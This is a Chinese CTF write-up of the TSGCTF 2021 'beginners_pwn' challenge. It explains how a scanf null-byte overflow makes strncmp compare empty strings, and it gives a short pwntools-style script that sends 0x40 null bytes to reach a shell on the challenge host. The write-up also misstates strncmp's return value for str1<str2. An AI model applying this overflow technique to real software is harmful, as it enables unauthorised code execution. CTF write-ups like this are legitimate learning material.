TSGCTF 2021 beginners_pwn wp

**
程序逻辑很简单,ptr指针指向读进来的flag,s1是自己输入的字符串,通过strncmp判等,相等就能执行win函数。首先需要知道scanf("%s")在读取字符串的时候会在末尾加上一个’\x00’来截断

在这里插入图片描述
看一下栈里的情况,s1与ptr的偏移是0x40,那么在输入s1时,只要输入长度大于0x40,就会在
0x40+1,也即ptr+1处写上一个’\x00’
再看一下strncmp函数,比较两个字符串的前n位,若str1==str2,返回0,若str1>str2返回正数, 若
str1<str2返回正数。
事实上,strncmp的返回值是str1和str2第一个不相同位的ascii码的差值。
但重点是strncmp也会被‘\x00’截断
因此只要让s1和ptr的第一位都是’\x00‘,strncmp就会返回0,从而执行win函数getshell

from pwn_debug import * 
context.log_level = 'debug' 

pdbg = pwn_debug("./chall") 

pdbg.local("") 
pdbg.remote("34.146.101.4", 30007) 

p = pdbg.run("local") 
p.recv() 
p.sendline("\x00"*(0x40)) 
p.interactive()	

tips:最开始以为c语言中非一个负值会得到正值,所以一直想着让strncmp返回一个负值就能执行win。捯饬了半天也打不通,最后发现c语言中非负值得到的也是0。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值